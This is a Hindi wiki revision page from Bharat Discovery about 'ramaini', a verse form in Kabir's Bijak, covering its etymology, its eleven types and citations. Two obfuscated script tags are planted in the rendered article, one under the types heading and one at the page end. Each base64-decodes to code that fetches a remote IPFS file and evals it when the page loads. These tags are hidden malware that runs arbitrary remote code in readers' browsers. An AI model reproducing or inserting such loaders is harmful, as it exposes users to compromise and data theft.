"रमैनी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Adding category Category:पद्य साहित्य (को हटा दिया गया हैं।))
 
(2 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 3: पंक्ति 3:
 
'''अदबुद रूप जात कै बानी, उपजी प्रीति रमैनी ठानी।'''<br />
 
'''अदबुद रूप जात कै बानी, उपजी प्रीति रमैनी ठानी।'''<br />
 
 
 
 
यहाँ रमैनी का प्रयोग स्तुति वर्णन या रामधुन माना जा सकता है। 'रमैनी' के कुछ ऐसे प्रयोग उपलब्ध होते हैं, जिससे यह अनुमान किया गया है कि रमैनियों की रचना लोकोपचार की दृष्टि से भी की जाती थी। रमैनियों की रचना दोहा, चौपाइयों में की गयी है। इनकी शैली प्राय: वर्णनात्मक है। इसका सम्बन्ध [[अपभ्रंश]] में प्रचलित 'पद्धडियाबद्ध' कडवक परम्परा से जोड़ा गया है।
+
यहाँ रमैनी का प्रयोग स्तुति वर्णन या रामधुन माना जा सकता है। 'रमैनी' के कुछ ऐसे प्रयोग उपलब्ध होते हैं, जिससे यह अनुमान किया गया है कि रमैनियों की रचना लोकोपचार की दृष्टि से भी की जाती थी। रमैनियों की रचना दोहा, चौपाइयों में की गयी है। इनकी शैली प्राय: वर्णनात्मक है। इसका सम्बन्ध [[अपभ्रंश]] में प्रचलित 'पद्धडियाबद्ध' कडवक परम्परा से जोड़ा गया है।<ref>{{cite book | last =शर्मा | first =रामकिशोर| title =कबीर ग्रन्थावली| edition = | publisher = | location =भारत डिस्कवरी पुस्तकालय| language =हिंदी| pages =100| chapter =}}</ref>
 
==प्रकार==
 
==प्रकार==
 
{{tocright}}
 
{{tocright}}
 
रमैनी निम्न प्रकार की पायी जाती हैं-  
 
रमैनी निम्न प्रकार की पायी जाती हैं-  
 
#[[बावनी (रमैनी)]] 
 
#[[बावनी (रमैनी)]] 
#[[चौंतीसा (रमैनी)]] 
+
#[[चौंतीसा (रमैनी)|चौंतीसा ]] 
#[[थिंती (रमैनी)]]  
+
#[[थिंती (रमैनी)|थिंती]]  
#[[वार (रमैनी)]]  
+
#[[वार (रमैनी)|वार]]  
#[[बसन्त (रमैनी)]]
+
#[[बसन्त (रमैनी)|बसन्त]]
#[[हिंडोला (रमैनी)]]  
+
#[[हिंडोला (रमैनी)|हिंडोला]]  
#[[चाँचर (रमैनी)]] 
+
#[[चाँचर (रमैनी)|चाँचर]] 
#[[कहरा (रमैनी)]]  
+
#[[कहरा (रमैनी)|कहरा]]  
#[[बेलि (रमैनी)]]  
+
#[[बेलि (रमैनी)|बेलि]]  
#[[विरहुल (रमैनी)]]  
+
#[[विरहुल (रमैनी)|विरहुल]]  
#[[विप्रमतीसी (रमैनी)]]  
+
#[[विप्रमतीसी (रमैनी)|विप्रमतीसी]]  
कबीर के द्वारा प्रयुक्त काव्यरूपों को देखने से ज्ञात होता है कि उनकी दृष्टि लोक परम्परा की ओर थी। उन्होंने आदिकाल में प्रचलित काव्यरूपों की लोकोन्मुखी परम्परा को आत्मसात करके अपनी अनुभूति और विचारों को सामान्य जनों में प्रचलित गीत माध्यमों से सम्प्रेषित किया है। विभिन्न लोक-काव्यरूपों का सफल और मौलिक प्रयोग, कबीर को कवि ही नहीं, बल्कि लोक कवि सिद्ध करता है।
+
[[कबीर]] के द्वारा प्रयुक्त काव्यरूपों को देखने से ज्ञात होता है कि उनकी दृष्टि लोक परम्परा की ओर थी। उन्होंने आदिकाल में प्रचलित काव्यरूपों की लोकोन्मुखी परम्परा को आत्मसात करके अपनी अनुभूति और विचारों को सामान्य जनों में प्रचलित गीत माध्यमों से सम्प्रेषित किया है। विभिन्न लोक-काव्यरूपों का सफल और मौलिक प्रयोग, '''कबीर को कवि ही नहीं, बल्कि लोक कवि सिद्ध करता है।'''<ref>{{cite book | last =शर्मा | first =रामकिशोर| title =कबीर ग्रन्थावली| edition = | publisher = | location =भारत डिस्कवरी पुस्तकालय| language =हिंदी| pages =100| chapter =}}</ref>
  
  
 
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==बाहरी कड़ियाँ==
 
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
+
{{कबीर}}{{रमैनी}}
[[Category:नया पन्ना नवम्बर-2011]]
+
[[Category:रमैनी]]
[[Category:साहित्य कोश]]
+
[[Category:व्याकरण]][[Category:हिन्दी भाषा]][[Category:पद्य साहित्य]][[Category:साहित्य कोश]][[Category:कबीर]][[Category:काव्य कोश]]
[[Category:पद्य साहित्य]]
 
 
 
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

09:33, 4 अगस्त 2014 के समय का अवतरण

कबीर बीजक में 'रमैनी' की व्युत्पत्ति 'रामणी' से मानी गयी है। इसका विषय, 'जीवात्माओं की संसरणादि क्रीड़ाओं का सविस्तार वर्णन है।' परशुराम चतुर्वेदी का कहना है कि 'रामायण' शब्द का क्रमश: रमैन बन जाना तथा उसे अल्पत्व बोध कराने के लिए 'रमैनी' रूप दिया जाना, उतना अस्वाभाविक नहीं है। रमैनी का अर्थ संसार में जीवों का रमण या वेदशास्त्र के विचारों में रमण भी अनुमानित किया गया है। इसका अर्थ यदि राम के चिन्तन मनन या राम के वृत्त में रमण करना लगाया जाए तो अधिक समीचीन है। वेदशास्त्र की बात सन्तों के सन्दर्भ में ग्रहणीय नहीं है। 'कबीर बीजक' में एक पंक्ति में 'रमैनी' शब्द आया है- अदबुद रूप जात कै बानी, उपजी प्रीति रमैनी ठानी।
  यहाँ रमैनी का प्रयोग स्तुति वर्णन या रामधुन माना जा सकता है। 'रमैनी' के कुछ ऐसे प्रयोग उपलब्ध होते हैं, जिससे यह अनुमान किया गया है कि रमैनियों की रचना लोकोपचार की दृष्टि से भी की जाती थी। रमैनियों की रचना दोहा, चौपाइयों में की गयी है। इनकी शैली प्राय: वर्णनात्मक है। इसका सम्बन्ध अपभ्रंश में प्रचलित 'पद्धडियाबद्ध' कडवक परम्परा से जोड़ा गया है।[1]

प्रकार

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

रमैनी निम्न प्रकार की पायी जाती हैं-

  1. बावनी (रमैनी) 
  2. चौंतीसा  
  3. थिंती  
  4. वार
  5. बसन्त
  6. हिंडोला  
  7. चाँचर 
  8. कहरा  
  9. बेलि  
  10. विरहुल
  11. विप्रमतीसी

कबीर के द्वारा प्रयुक्त काव्यरूपों को देखने से ज्ञात होता है कि उनकी दृष्टि लोक परम्परा की ओर थी। उन्होंने आदिकाल में प्रचलित काव्यरूपों की लोकोन्मुखी परम्परा को आत्मसात करके अपनी अनुभूति और विचारों को सामान्य जनों में प्रचलित गीत माध्यमों से सम्प्रेषित किया है। विभिन्न लोक-काव्यरूपों का सफल और मौलिक प्रयोग, कबीर को कवि ही नहीं, बल्कि लोक कवि सिद्ध करता है।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. शर्मा, रामकिशोर कबीर ग्रन्थावली (हिंदी), 100।
  2. शर्मा, रामकिशोर कबीर ग्रन्थावली (हिंदी), 100।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>